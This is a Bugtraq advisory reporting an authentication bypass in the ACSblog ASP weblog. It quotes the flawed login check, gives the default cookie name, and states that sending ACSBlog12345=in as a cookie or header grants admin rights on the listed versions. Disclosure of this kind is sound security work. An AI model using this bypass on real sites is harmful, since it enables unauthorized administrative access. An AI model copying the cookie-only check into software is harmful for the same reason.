Bugtraq: ACSblog bug

[farhad koosha <farhadkey () yahoo com>]

*/ WWW.BAHADORLOVER.COM \*

ACSblog :
A asp weblog with manageable code blocks and logical structure make it easy for the novice to get into the code and 
customize it to your site. Full-featured enough for expert bloggers

vendor:www.asppress.com

Where is the bug ?

inc_login_check.asp 

<% if request.cookies(cookiename)="in" then
ihaveadminright=true
else
ihaveadminright=false
end if
%>

---------------

Default cookiename is "ACSBlog12345" and you can create a cookie or using http headers -> ACSBlog12345=in

---------------

vulnerable versions:
0.8
1.0
1.0.1
1.0.2
1.0.3
1.1
1.1.2
1.1.3
Commercial Version

3NITRO : www.bahadorlover.com